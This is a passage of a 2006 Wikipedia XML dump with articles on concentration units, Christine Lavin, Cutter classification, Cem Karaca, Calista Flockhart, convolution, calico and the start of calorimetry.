&lt;td&gt;ppm&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{milligrams\ solute}{kilograms\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;mg/kg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parts per billion&lt;/td&gt;
&lt;td&gt;ppb&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{micrograms\ solute}{kilograms\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;&amp;mu;g/kg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parts per trillion&lt;/td&gt;
&lt;td&gt;ppt*&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{nanograms\ solute}{kilograms\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;ng/kg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parts per quadrillion&lt;/td&gt;
&lt;td&gt;ppq&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\left ( \frac{picograms\ solute}{kilograms\ solution} \right )&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;pg/kg&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
''* Although 'ppt' is usually used to denote 'parts per trillion', it is on occasion used for 'parts per thousand'. Sometimes 'ppt' is also used as an abbreviation for [[precipitate]].''

''Note (1) : The table above is described in terms of solvents and solutes; however the units given often also apply to other types of mixture.''

''Note (2) : The use of [[billion]], [[trillion]], [[quadrillion]] above follows the [[long and short scales|short scale]] usage of these words.''

&lt;!--Categories--&gt;

[[Category:Analytical chemistry]]

&lt;!--Interwiki--&gt;

[[cs:Koncentrace (chemie)]]
[[de:Stoffkonzentration]]
[[es:Concentración]]
[[fr:Concentration]]
[[io:Koncentro]]
[[mk:Концентрација]]
[[nl:Concentratie]]
[[ja:濃度]]
[[pl:Stężenie]]
[[sl:Koncentracija]]
[[fi:Konsentraatio]]
[[tr:derişim]]
[[vi:Nồng độ]]
[[zh:浓度]]</text>
    </revision>
  </page>
  <page>
    <title>Christine Lavin</title>
    <id>7514</id>
    <revision>
      <id>40384203</id>
      <timestamp>2006-02-20T04:47:31Z</timestamp>
      <contributor>
        <username>Jeffq</username>
        <id>23204</id>
      </contributor>
      <minor />
      <comment>/* External links */ expanded link</comment>
      <text xml:space="preserve">[[Image:CLavin.jpg|right|thumb|Christine Lavin posing with her guitar]]
'''Christine Lavin''' (b. [[January 2]], [[1952]]) is a [[New York City]]-based singer, songwriter, and promoter of contemporary [[folk music]].  She has recorded numerous solo albums, and has also recorded with other female folk artists under the name [[Four Bitchin' Babes]].  She has also put together several compilation albums of contemporary folk artists, including ''On a Winter's Night''.

She is known for her sense of humor, which is expressed in both her music and her onstage performances. Many of her songs alternate between emotional reflections on romance and outright comedy. Two of her more famous songs include &quot;Sensitive New Age Guys&quot; and &quot;Bald Headed Men&quot;.

In her youth, Lavin was a [[cheerleader]] in [[Geneva, New York]] and she still has impressive baton-twirling skills; she often ends a concert by twirling a glow-in-the-dark [[baton]] with the house lights turned off as she leaves the stage.

==Discography==

* ''Folkzinger'' (Appleseed, 2005)
* ''Sometimes Mother Really Does Know Best [Live]'' (Appleseed, 2004)
* ''I Was in Love With a Difficult Man'' (Redwing, 2002)
* ''Final Exam'' (2001)
* ''The Subway Series'' (Christine Lavin, 2001)
* ''The Bellevue Years'' (Philo, 2000)
* ''Absolutely Live'' 
* ''Getting in Touch With My Inner Bitch'' (Christine Lavin, 1999)
* ''One Wild Night in Concert'' (1998)
* ''Shining My Flashlight on the Moon'' (Shanachie, 1997)
* ''Please Don't Make Me Too Happy'' (Shanachie , 1995)
* ''Compass'' (Philo, 1994)
* ''Future Fossils'' (Philo, 1994)
* ''Live at the Cactus Cafe'' (Philo, 1993)
* ''Attainable Love'' (Philo, 1990)
* ''Good Thing He Can't Read My Mind'' (Philo, 1990)
* ''Beau Woes and Other Problems of Modern Life'' (Philo, 1990)
* ''Another Woman's Man'' (Philo, 1990)

==External links==

* [http://www.christinelavin.com Official Christine Lavin site]

[[Category:1952 births|Lavin, Christine]]
[[Category:Living people|Lavin, Christine]]
[[Category:American female singers|Lavin, Christine]]
[[Category:American songwriters|Lavin, Christine]]
[[Category:Folk musicians|Lavin, Christine]]
[[Category:Folk singers|Lavin, Christine]]</text>
    </revision>
  </page>
  <page>
    <title>Cutter Expansive Classification</title>
    <id>7515</id>
    <revision>
      <id>40974464</id>
      <timestamp>2006-02-24T05:29:49Z</timestamp>
      <contributor>
        <username>RJO</username>
        <id>415448</id>
      </contributor>
      <minor />
      <comment>/* External links */ spelling</comment>
      <text xml:space="preserve">The '''Cutter Expansive Classification''' system is a [[library classification]] system devised by [[Charles Ammi Cutter]]. It uses all letters rather than digits (such as [[Dewey Decimal Classification]]) or a mixture of digits (such as [[Library of Congress classification]]), and was the basis for the top categories of the [[Library of Congress classification]].

&quot;No one, perhaps, can remember it all; it cannot be learned, even in part, very quickly; but those who use the library much will find that they become familiar in time unconsciously with all that they have much occasion to use.&quot; 
from &amp;ldquo;How to Get Books&amp;rdquo; by C.A. Cutter, 1882

==History of the Cutter classification==
Charles Ammi Cutter (1837&amp;ndash;1903), inspired by the decimal classification of his contemporary [[Melvil Dewey]], originally developed his own classification scheme for the collections of the [[Boston Athenaeum]], which he served as librarian for two dozen years. He began work on it about 1880 and published the first schedules in the early 1890s. His five volume catalogue of the Athenaeum collection is a classic in bibliographic history.

The Cutter classification, although adopted by comparatively few libraries, mostly in [[New England]], has been called one of the most logical and scholarly of American classifications. Its outline served as a basis for the Library of Congress classification, which also took over some of its features. It did not catch on as did Dewey's system because Cutter died before it was completely finished, making no provision for the kind of development necessary as the bounds of knowledge expanded and scholarly emphases changed throughout the 20th century.

==Outline of the Cutter classification==
Like the LC classification system, texts are organized by subject. Users of Cutter, however, will find the subject headings more general than those of the LC system.

* A General works (encyclopedias, periodicals, society publications)
* B-D Philosophy, Psychology, Religion
*  E, F, G Biography, History, Geography and travels
*  H&amp;ndash;J, K Social sciences, Law
*  L&amp;ndash;T Science and technology
* U&amp;ndash;VS Military, Sports, Recreation
*  VT, VV, W Theatre, Music, Fine arts
* X Philology (expanded by language)
* Y Literature (expanded by language, and in English form&amp;mdash;e.g., YY is English and American literature, YYP is poetry in English)
* Z Book arts, Bibliography

==How Cutter call numbers are constructed==
Most call numbers in the Cutter classification follow conventions offering clues to the book's subject. The first line represents the subject, the second the author (and perhaps title), the third and fourth dates of editions, indications of translations, and critical works on particular books or authors. All numbers in the Cutter system are (or should be) shelved as if in decimal order.

Size of volumes is indicated by points (.), pluses (+), or slashes (/ or //). 

For some subjects a numerical geographical subdivision follows the classification letters on the first line. The number 83 stands for the United States&amp;mdash;hence, F83 is U.S. history, G83 U.S. travel, JU83 U.S. politics, WP83 U.S. painting. Geographical numbers are often further expanded decimally to represent more specific areas, sometimes followed by a capital letter indicating a particular city.

The second line usually represents the author's name by a capital letter plus one or more numbers arranged decimally. This may be followed by the first letter or letters of the title in lower-case, and/or sometimes the letters a,b,c indicating other printings of the same title. When appropriate, the second line may begin with a 'form' number&amp;mdash;e.g., 1 stands for history and criticism of a subject, 2 for a bibliography, 5 for a dictionary, 6 for an atlas or maps, 7 for a periodical, 8 for a society or university publication, 9 for a collection of works by different authors.

On the third line a capital Y indicates a work about the author or book represented by the first two lines, and a capital E (for English&amp;mdash;other letters are used for other languages) indicates a translation into English. If both criticism and translation apply to a single title, the number expands into four lines.

==References==
* Bliss, Henry Evelyn. ''The Organization of Knowledge in Libraries: and the Subject-Approach to Books'', 2nd ed. New York: H. W. Wilson, 1939.
* Cutter, Charles A. ''Rules for a Dictionary Catalog''. W. P. Cutter, ed. 4th ed. Washington, D.C.: Government Printing Office, 1904. London: The Library Association, 1962.
*Cutter, William Parker. ''Charles Ammi Cutter''. Chicago: American Library Association, 1931. Ann Arbor, MI: University Microfilms, 1969.
*Foster, William E. &quot;Charles Ammi Cutter: A Memorial Sketch&quot;. ''Library Journal'' 28 (1903): 697-704.
*Hufford, Jon R. &quot;The Pragmatic Basis of Catalog Codes: Has the User Been Ignored?&quot;. ''Cataloging and Classification Quarterly'' 14 (1991): 27-38.
*Immroth, John Philip. &quot;Cutter, Charles Ammi&quot;. ''Encyclopedia of Library and Information Science''. Allen Kent and Harold Lancour, ed. 47 vols. New York, M. Dekker [1968- ]
*Slavis, Dobrica. &quot;CUTT-x: An Expert System for Automatic Assignment of Cutter Numbers&quot;. ''Cataloging and Classification Quarterly''. Vol 22, no. 2, 1996.  
*Tauber, Maurice F., and Edith Wise. &quot;Classification Systems&quot;. Ralph R. Shaw, ed.. ''The State of the Library Art''. New Brunswick, NJ: Rutgers U. Graduate School of Library Service, 1961. 1-528.

==External links==
* [http://www.bostonathenaeum.org/cutterguide.html The Boston Athenaeum's Guide to the Cutter System]

[[Category:Library and information science]]
[[Category:Knowledge representation]]</text>
    </revision>
  </page>
  <page>
    <title>Cem Karaca</title>
    <id>7516</id>
    <revision>
      <id>40362705</id>
      <timestamp>2006-02-20T01:44:48Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates cardinals</comment>
      <text xml:space="preserve">[[Image:cem_karaca3.jpg|frame|Cem Karaca]]

'''Cem Karaca''' ([[March 19]], [[1945]] - [[February 8]], [[2004]]) was a single child of Irma Felekyan and Mehmet Ibrahim Karaca .His first group was called &quot;Dynamites&quot;, A classic Rock cover band .Then an [[Elvis Presley]] cover band called &quot;Jaguars&quot; came together .In 1967 he started to write his own music and that was the  beginning of the Anatolian Rock 'movement .
&quot;Apaslar&quot; was his first Turkish Language group that got together at the middle of 1967 .In 1969  Karaca and the bass player Serhan Karabay ' left  Apaslar and started an original Anotolian sound group called &quot;Kardaslar&quot;{Brothers} .In 1972 Karaca joined &quot;Mogollar&quot;and his masterpiece &quot;Namus Belasi&quot;was created .But Mogollar'group leader  [[Cahit Berkay]] 'wanted an International name for his band and he left for France to take the group to an another level .At this time Karaca who wanted to continue his Anatolian beat sound left the Mogollar and started his own band &quot;Dervisan&quot;(Dervishkhan).
Karaca and Dervisan sang poetic and proggressive songs ..In the 70's Turkey 's image was getting destroyed by the untimely civil war .
Everyone was blaming everyone for something ..Left were fighting right ..Seperatist movements ,Islamic rise ..The country was in total
chaos ..And at the same time Cem Karaca ' started to get the attention of the Government of Turkey .At times he was beeing accused of treason ,seperatist thinker ,Marxist &amp; Leninist ,and Turkish Government tried to portrey Karaca as a man who is unknowingly writing songs to start a movement against the state..
One politiciab said &quot;Karaca is simply callin citizens to a bloody war against the State ..
At the beginning of the 1979 he left for West Germany for business related issues .At this time Turkey was going through the toughest political struggles in and outside of it's soil .Country was out of control ..Everyday at least five to ten people were getting shot to dead in the streets.Even the twenty four hours military curfew did not help the situation . At [[September 12]] [[1980]] Turkish Military Forces put all to a dramatic end .General [[Kenan Evren]] 'took over the government, closed all the political parties down temprerarely .After the army take-over many people including writers, artists ,journalists  who had say in this political circus were getting caught one by one.Warrant was issued for his arrest by the Government of Turkey .
The state called Karaca back to the country several times but Karaca not knowing the outcome of his return ,decided not to come back to Turkey at least until the dust saddles down .
While he was in Germany ,his father Mehmet Ibrahim Karaca'passed on .But Cem 'could not attend to his funeral .After sometime Turkish Government decided to strip Cem Karaca' s Turkish Citizenship .Warrant stayed .
Several years after in 1987 Turkish Mother Land party leader and the time's Prime Minister of the country &quot;[[Turgut Ozal]]&quot; issued an amnesty for Karaca .And shortly after he finally returned to his country he loved  .His return also brought a new album by him &quot;Merhaba Gencler and Her zaman Genc Kalanlar&quot;this was one of his most powerful works ever .His return home was a very good news for many of his  fans .Finally wait was over .But  Karaca lost a decade ,he lost the young people ,new listeners ..He is one of the greatest musicians of Turkey ever produced .His [[Ian Anderson]] like looks and incredibly powerful voice combines with his words and beautiful sounds of the [[Anatolian Rock]] 'that he created will live forever 
==Discography==
* ''Apaslar-Kardaslar'' (1972)
* ...''Teşekkürleriyle'' (1974)
* ''Nem Kaldi'' (1975)
* ''Parka'' (LP) (1977)
* ''Yoksulluk Kader Olamaz'' (1977)
* ''Safinaz'' (1978)
* ''Hasret'' (1980)
* ''Bekle Beni'' (1982)
* ''Die Kanaken'' (1984)
* ''Merhaba Gençler'' (1987)
* ''Töre'' (1988)
* ''Yiyin Efendiler'' (1990)
* ''Nerde Kalmistik'' (1992)
* ''Bindik Bir Alamete'' (1999)
Excluding his guest appearances and singles


[[Category:1945 births|Karaca, Cem]]
[[Category:2004 deaths|Karaca, Cem]]
[[Category:Turkish musicians|Karaca, Cem]]
[[tr:Cem Karaca]]</text>
    </revision>
  </page>
  <page>
    <title>Calista Flockhart</title>
    <id>7517</id>
    <revision>
      <id>39481315</id>
      <timestamp>2006-02-13T17:28:23Z</timestamp>
      <contributor>
        <username>Latinus</username>
        <id>800894</id>
      </contributor>
      <comment>rm category per CFD of [[Wikipedia:Categories for deletion/Log/2006 February 5#Category:David E. Kelley actors|5 February 2006]]</comment>
      <text xml:space="preserve">[[Image:Allymc44.jpg|thumb|Calista Flockhart in an undated publicity photo]]
'''Calista Kay Flockhart''' (born [[November 11]], [[1964]] in [[Freeport, Illinois]]) is an [[United States|American]] [[actress]].  

She is most well-known for her starring role as the temperamental lawyer in the 1997-2002 television show, [[Ally McBeal]].

== Biography ==
Calista Flockhart was born in Freeport, Illinois, to Kraft Food executive [[Ronald Flockhart]], his English-teaching wife, [[Kay Calista]] and as a sibling to her older brother [[Gary Flockhart]]. Reversing her own first and second names, her mother named her '''Calista Kay'''. The name '''Calista''' means ''most beautiful'' in Greek. 

Because her father's job required the family to move often, Calista was raised with brother Gary in [[Illinois]], [[Iowa]], [[Minnesota]], upstate [[New York]], and [[New Jersey]]. As a child, she wrote a play called ''Toyland'' in which she performed to a small audience at a dinner party. However, she never professed an ambition to become an actor, instead claiming she wanted to be a clown when she grew up.

Beginning in 1978 and graduating in 1982, Flockhart attended [[Shawnee High School]] in [[Medford Township, New Jersey]]. She served on the Student Council, participated in the drama program, and became a cheerleader. A football player named Brian Anderson was her high school sweetheart.

Following her graduation, Flockhart attended The Mason Gross School of the Arts at [[Rutgers University]], in [[New Brunswick, New Jersey]]. While there, she attended a specialized and competitive class, lasting from 6 o'clock in the morning to 6 o'clock in the evening.  In her sophomore year at Rutgers, Flockhart met [[Jane Krakowski]], the best friend of her room mate. Having already worked on Broadway, Calista often questioned Jane on how to find employment there. Flockhart's acting ability was recognized when William Esper (Mason Gross' theatre director and Flockhart's acting teacher) made an exception to policy by allowing Flockhart to perform on the main stage. Though usually reserved for juniors and seniors, Harold Scott insisted that Flockhart perform in his production of [[William Inge|William Inge's]] ''Picnic''.

Flockhart graduated with a [[Bachelor of Fine Arts]] Degree in Theatre in 1988 as one of only a few students who successfully completed the course. Flockhart was inducted into the Rutgers Hall of Distinguished Alumni on [[May 3]], [[2003]].

After receiving her degree, Flockhart moved to New York City in 1989 where she remained until 1997, living with three other women in a two-bedroom apartment and working as a waitor and aerobics instructor whilst she simultaineously sought auditions.

In spring, 1989, Flockhart had a minor role in one episode of ''[[The Guiding Light]]'' as a babysitter. Following this, she found her professional debut on the New York stage, appearing in ''[[Beside Herself]]'' alongside actor [[Melissa Joan Hart]] at the [[Circle Repertory Theatre]]. Two years later in 1991, Flockhart appeared in a television movie, ''[[Darrow]]''. 

Though she later appeared in films ''[[Naked in New York]]'' (1993) and ''[[Getting In]]'' (1994), Calista claims her big break into Hollywood came from [[Robert Redford]] who provided her with a brief but speaking part of a college student in ''[[Quiz Show]]''.

Flockhart debuted on Broadway in 1994, as the character Laura in ''[[The Glass Menagerie]]''. Actor [[Julie Harris]] felt Flockhart should be hired without further auditions, claiming that Calista seemed ideal for the part of her character's daughter. Flockhart recieved a [[Clarence Derwent Award]] for her performance. In 1995, Flockhart became acquainted with actors such as [[Dianne Wiest]] and [[Faye Dunaway]] when she appeared in the movie [[Drunks]]. Later this year Flockhart starred in the title role in [[Jane Doe]] as a drug addict.

In 1996, Flockhart appeared as the daughter of [[Dianne Wiest]] and [[Gene Hackman]]'s characters, in ''[[The Birdcage]]'', her last film role before securing the starring role in the hit show ''[[Ally McBeal]]''. Throughout this year she continued to work on Broadway, playing the role of Natasha in [[Anton Chekhov]]'s ''[[Three Sisters (play)|Three Sisters]]''.

In 1997 Calista was requested to audition as the starring role in [[David E. Kelley]]'s [[Fox Broadcasting Company|FOX television]] series, [[Ally McBeal]]. Kelley, having heard of Flockhart, wanted her to audition for the contract part. Though Flockhart at first hesistated due to the necessary commitment to the show in a negotiatable contract, she was swayed by the compelling script and travelled to Los Angeles to audition for the part, which she was later informed of winning. Through 1997 to 2002 Flockhart starred the show's self-titled protagonist ''Ally McBeal'', winning a [[Golden Globe Award]] for her role in 1998. Flockhart also appeared on the [[June 29]], [[1998]] cover of ''[[Time]]'' magazine as her character Ally McBeal, placed as the newest iteration in the evolution of feminism, relating to the on-going debate about the role depicted by her character.

As her popularity as ''Ally McBeal'' peaked, rumours began to spread that Flockhart suffered from the medical conditions [[anorexia]] and/or [[bulimia]]. These rumours heightened the criticism Flockhart met as to being a poor role-model for young women. It has also been speculated that she has been a drug user. Flockhart maintains that she has never been diagnosed with either of these medical conditions, nor has she been a user of illegal drugs. She has remarked, however, that while starring as Ally McBeal she refrained from eating sweets, retaining her slim figure by working out.

While starring as Ally McBeal, Flockhart played the role of Helena in the 1999 film version of [[Shakespeare]]'s ''[[A Midsummer Night's Dream]]''. In 2000, she appeared in ''[[Things You Can Tell Just by Looking at Her]]'' and ''[[Bash: Latter-Day Plays]]'', later accompanying [[Eve Ensler]] to Kenya in order to protest against violence against women, particularly FGM ([[Female Genital Mutilation]]). Flockhart also starred in the off-Broadway production of Ensler's ''[[The Vagina Monologues]]''. 

On [[January 11]], [[2001]], Flockhart adopted a baby boy, born ten days prior, whom she named Liam.

Flockhart has been romantically involved with actor [[Harrison Ford]] since meeting him at the 2002 [[Golden Globe Awards]] after she spilled wine on his award, initiating a social exchange which resulted in the pair dating within a week.

In 2004, Flockhart appeared as [[Matthew Broderick]]'s psychotic girlfriend in ''[[The Last Shot]]''. In the same year, Flockhart travelled to Barcelona, Spain, for the filming of the film ''[[Fragile (film)|Fragile]]'',  which premiered in [[September]], [[2005]] at the [[Venice Film Festival]]. 

When approached to star in the film ''[[Indiana Jones 4]]'', [[Harrison Ford]] requested that Flockhart co-star as the love interest of Indiana. Though the film producers agreed, Flockhart is not currently attatched to the project. Flockhart's reaction to being asked to star has been quoted as the facetious &quot;Oh, yes. If I could kick his (butt), absolutely!&quot;

Flockhart continues to support charities such as Public Schools Arts, and causes such as breast cancer.  She is the national spokeswoman for the Los Angeles Commission on Assaults Against Women ([[LACAAW]]), which led her to require a [[Humanitarian Award]] on [[October 21]], [[2005]].

== Filmography ==
{| class=&quot;wikitable&quot; style=&quot;margin:auto;&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Year !! Film !! Role !! Other notes
|-
| [[2005 in film|2005]] || ''[[Fragile (film)|Fragile]]'' || Amy || 
|-
| [[2004 in film|2004]] || ''[[The Last Shot]]'' || Valerie Weston || 
|-
| [[2000 in film|2000]] || ''[[Bash: Latter-Day Plays]]'' (TV) || || 
|-
| [[2000 in film|2000]] || ''[[Things You Can Tell Just by Looking at Her]]'' || Christine Taylor || 
|-
| [[1999 in film|1999]] || ''[[Ally McBeal]]'' (TV) || Ally || 
|-
| [[1999 in film|1999]] || ''[[A Midsummer Night's Dream]]'' || Helena || 
|-
| [[1999 in film|1999]] || ''[[Happily Ever After: Fairy Tales for Every Child]]'' (TV) || Vanna Van (Voice) || 
|-
| [[1998 in film|1998]] || ''[[The Practice]]'' (TV) || Ally McBeal || 
|-
| [[1997 in film|1997]] || ''[[Ally McBeal]]'' (TV) || Ally McBeal || 
|-
| [[1997 in film|1997]] || ''[[Telling Lies in America]]'' || Diney Majeski || 
|-
| [[1996 in film|1996]] || ''[[Milk &amp; Money]]'' || Christine || 
|-
| [[1996 in film|1996]] || ''[[The Birdcage]]'' || Barbara Keeley || 
|-
| [[1995 in film|1995]] || ''[[Drinks]]'' || Helen || 
|-
| [[1995 in film|1995]] || ''[[Pictures of Baby Jane Doe]]'' || Jane Doe || 
|-
| [[1994 in film|1994]] || ''[[Quiz Show]]'' || Barnard Girl || 
|-
| [[1994 in film|1994]] || ''[[Getting In]]'' || Amanda Morel || 
|-
| [[1993 in film|1993]] || ''[[Naked in New York]]'' || Acting student || 
|-
| [[1992 in film|1992]] || ''[[Lifestories: Families In Crisis]]'' || Mary-Margaret Carter
|-
| [[1991 in film|1991]] || ''[[Darrow]]'' || Lillian Anderson || 
|-
|[[1989 in film|1989]] || ''[[The Guiding Light]]'' (TV) || Elise ||
|-
|}

== External links ==
*[http://www.theofficialcalistaflockhartfanclub.com/ The official Calista Flockhart fan club]
*[http://groups.yahoo.com/group/The_Official_Calista_Flockhart_Fan_Club/ The official Calista Flockhart fan club at Yahoo!]
*[http://www.calistaflockhart.org/ An unofficial Calista Flockhart website]
*[http://www.calista-flockhart.com/ An unofficial Calista Flockhart website]
*[http://www.calistaflockhart.net/index.php/CalistaFlockhart An unofficial, French Calista Flockhart website]
*[http://celebs.absolutenow.com/calista_flockhart/biography.html Short Biography]
*{{imdb name|id=0001222|name=Calista Flockhart}}


[[Category:1964 births|Flockhart, Calista]]
[[Category:Living people|Flockhart, Calista]]
[[Category:Adoptive parents|Flockhart, Calista]]
[[Category:Ally McBeal|Flockhart, Calista]]
[[Category:American film actors|Flockhart, Calista]]
[[Category:American stage actors|Flockhart, Calista]]
[[Category:American television actors|Flockhart, Calista]]
[[Category:People from Illinois|Flockart, Calista]]
[[Category:Rutgers University|Flockhart, Calista]]

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    <title>Chinese aircraft carrier</title>
    <id>7518</id>
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      <id>15905582</id>
      <timestamp>2003-08-03T01:53:20Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <comment>#REDIRECT[[People's Liberation Army Navy]]</comment>
      <text xml:space="preserve">#REDIRECT[[People's Liberation Army Navy]]</text>
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  <page>
    <title>Convolution</title>
    <id>7519</id>
    <revision>
      <id>41380392</id>
      <timestamp>2006-02-26T23:29:19Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <minor />
      <comment>revert incorrect change</comment>
      <text xml:space="preserve">:''For the computer science usage see [[convolution (computer science)]].''

In [[mathematics]] and in particular, [[functional analysis]], '''convolution''' is a mathematical [[operator]] which takes two [[function (mathematics)|function]]s ''f'' and ''g'' and produces a third function that in a sense represents the amount of overlap between ''f'' and a reversed and translated version of ''g''. A convolution is a kind of very general '''moving [[average]]''', as one can see by taking one of the functions to be an [[indicator function]] of an [[interval (mathematics)|interval]].

==Uses==
Convolution and related operations are found in many applications of engineering and mathematics.
* In [[statistics]], as noted above, a weighted moving average is a convolution.
* In statistics, the [[probability distribution]] of the sum of two independent random variables is the convolution of each of their distributions.
* In optics, many kinds of &quot;blur&quot; are described by convolutions. A shadow (e.g. the shadow on the table when you hold your hand between the table and a light source) is the convolution of the [[shape]] of the light source that is casting the shadow and the object whose shadow is being cast. An out-of-focus photograph is the convolution of the sharp image with the blur [[circle]] formed by the iris diaphragm.
* In acoustics, an echo is the convolution of the original sound with a function representing the various objects that are reflecting it.
* In artificial [[reverberation]] ([[digital signal processing]], pro audio), convolution is used to map the [[impulse response]] of a real room on a digital audio signal (see previous and next point for additional information).
* In electrical engineering and other disciplines, the output (response) of a (stationary, or time- or space-[[invariant (mathematics)|invariant]]) [[linear system]] is the convolution of the input (excitation) with the system's response to an impulse or [[Dirac delta]] function. See [[LTI system theory]] and [[digital signal processing]].
* In time-resolved fluorescence spectroscopy, the excitation signal can be treated as a chain of delta pulses, and the measured fluorescence is sum of exponential decays from each delta pulse.
* In [[physics]], wherever there is a linear system with a &quot;superposition&quot; principle, a convolution operation makes an appearance.

==Definition==
The convolution of ''f'' and ''g'' is written &lt;math&gt;f*g&lt;/math&gt;. It is defined as the integral of the product of the two functions after one is reversed and shifted.

: &lt;math&gt;(f  * g )(t) = \int f(\tau) g(t - \tau)\, d\tau&lt;/math&gt;

The integration range depends on the [[domain (mathematics)|domain]] on which the functions  are defined. While the symbol &lt;math&gt;t&lt;/math&gt; is used above, it need not represent the time domain.  In the case of a finite integration range, ''f'' and ''g'' are often considered to extend [[periodic function|periodic]]ally in both directions, so that the term ''g''(''t'' &amp;minus; &amp;tau;) does not imply a range violation.  This use of periodic domains is sometimes called a [[Circular convolution | '''cyclic''', '''circular''' or '''periodic convolution''']].  Of course, extension with zeros is also possible.  Using zero-extended or infinite domains is sometimes called a '''linear convolution''', especially in the discrete case below.

If &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;Y&lt;/math&gt; are two [[independent (probability)|independent]] [[random variable]]s with [[probability distribution|probability distributions]] ''f'' and ''g'', respectively, then the probability distribution of the sum &lt;math&gt;X + Y&lt;/math&gt; is given by the convolution ''f'' &lt;math&gt;*&lt;/math&gt; ''g''.

For discrete functions, one can use a discrete version of the convolution.
It is then given by

:&lt;math&gt;(f  * g)(m) = \sum_n {f(n) g(m - n)} \,&lt;/math&gt;

When multiplying two [[polynomial]]s, the coefficients of the product are given by the convolution of the original coefficient [[sequence]]s, in this sense (using extension with zeros as mentioned above).

Generalizing the above cases, the convolution can be defined for any two [[integrable]] functions defined on a [[locally compact]] [[topological group]]. A different generalization is the convolution of distributions.

==Properties==
The various convolution operators all satisfy the following properties:

===Commutativity===
: &lt;math&gt;f * g = g * f \,&lt;/math&gt;

===Associativity===
: &lt;math&gt;f  * (g  * h) = (f  * g)  * h \,&lt;/math&gt;

===Distributivity===
: &lt;math&gt;f  * (g + h) = (f  * g) + (f  * h) \,&lt;/math&gt;

===Associativity with scalar multiplication===
: &lt;math&gt;a (f  * g) = (a f)  * g = f  * (a g) \,&lt;/math&gt;
for any real (or complex) number &lt;math&gt;a&lt;/math&gt;.

===Differentiation rule===
: &lt;math&gt;\mathcal{D}(f  * g) = \mathcal{D}f  * g = f  * \mathcal{D}g \,&lt;/math&gt;
where &lt;math&gt;\mathcal{D}f&lt;/math&gt; denotes the [[derivative]] of &lt;math&gt;f&lt;/math&gt; or, in the discrete case, the [[difference operator]] 
&lt;math&gt;\mathcal{D}f(n) = f(n+1) - f(n)&lt;/math&gt;.

===Convolution theorem===
The [[convolution theorem]] states that 
: &lt;math&gt; \mathcal{F}(f  * g) =  \mathcal{F} (f) \cdot \mathcal{F} (g)   &lt;/math&gt;

where ''F(f)'' denotes the [[Fourier transform]] of ''f''.  Versions of this theorem also hold for the [[Laplace transform]], [[two-sided Laplace transform]] and [[Mellin transform]].

==Convolutions on groups==

If ''G'' is a suitable [[group (mathematics)|group]] endowed with a [[measure (mathematics)|measure]] ''m'' (for instance, a [[locally compact]] [[Hausdorff space | Hausdorff]] [[topological group]] with the [[Haar measure]]) and if ''f'' and ''g'' are real or complex valued m-[[Lebesgue integral|integrable]] functions of G, then we can define their convolution by

:&lt;math&gt;(f  * g)(x) = \int_G f(y)g(xy^{-1})\,dm(y) \,&lt;/math&gt;

In this case, it is also possible to give, for instance, a Convolution Theorem, however it is much more difficult to phrase and requires [[group representation|representation theory]] for these types of groups and the [[Peter-Weyl theorem]] of [[Harmonic analysis]]. It is very difficult to do these calculations without more structure, and [[Lie group|Lie groups]] turn out to be the setting in which these things are done.

==See also==
*[[Deconvolution]]

==External links==
* {{planetmath reference|title=Convolution|id=2790|}}
* http://www.jhu.edu/~signals/convolve/index.html Visual convolution Java Applet.

[[category:functional analysis]]
[[Category:Image processing]]
[[Category:Binary operations]]

[[af:Konvolusie]]
[[de:Faltung (Mathematik)]]
[[es:Convolución]]
[[fr:Produit de convolution]]
[[nl:Convolutie]]
[[ja:畳み込み]]
[[no:Konvolusjon]]
[[pl:Splot funkcji]]
[[pt:Convolução]]
[[ru:Свёртка (математический анализ)]]
[[sv:Faltning]]
[[zh:卷积]]</text>
    </revision>
  </page>
  <page>
    <title>Calico (fabric)</title>
    <id>7521</id>
    <revision>
      <id>38602859</id>
      <timestamp>2006-02-07T11:44:18Z</timestamp>
      <contributor>
        <username>Melaen</username>
        <id>136864</id>
      </contributor>
      <text xml:space="preserve">'''Calico''' is a fabric made from unbleached, and often not fully processed, [[cotton]]. It may contain unseparated husk parts, for example. The [[Cloth|fabric]] is less coarse and thick than [[canvas]] or [[denim]], but owing to its unfinished and undyed appearance, it is still very cheap.

==Etymology==
The name ''Calico'' is derived from the name of the city of [[Calicut]], [[Kerala]], [[India]].

==History==
In [[1700]], [[Britain]] banned importation (and the use and wear of) of cotton cloth from India, in an effort to prop up British [[textile]] industry. Printed calicos were especially popular among women who were termed the 'Calico Madams'. The ban failed, and was strengthened in [[1720]] (known as the 'Calico Act', it was repealed in [[1774]]). It almost destroyed the Indian textile industry, and India was forced to buy British textiles.

==Related links==
*[[Calico]] 
*[[Calicut]]
*[[Calico bag]]

{{textile-stub}}
[[ja:&amp;#12461;&amp;#12515;&amp;#12521;&amp;#12467;]]
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  </page>
  <page>
    <title>Calorimetry</title>
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      <timestamp>2006-02-19T11:12:52Z</timestamp>
      <contributor>
        <ip>84.9.32.201</ip>
      </contributor>
      <comment>/* [[Temperature]] and Internal [[Energy]] */</comment>
      <text xml:space="preserve">'''Calorimetry''' is the [[science]] of measuring the [[heat]] of [[chemical reaction]]s or [[physical change]]s. Calorimetry involves the use of a [[calorimeter]].The word calorimetry is derived from the Latin word calor, meaning heat.


== [[Temperature]] and Internal [[Energy]] ==
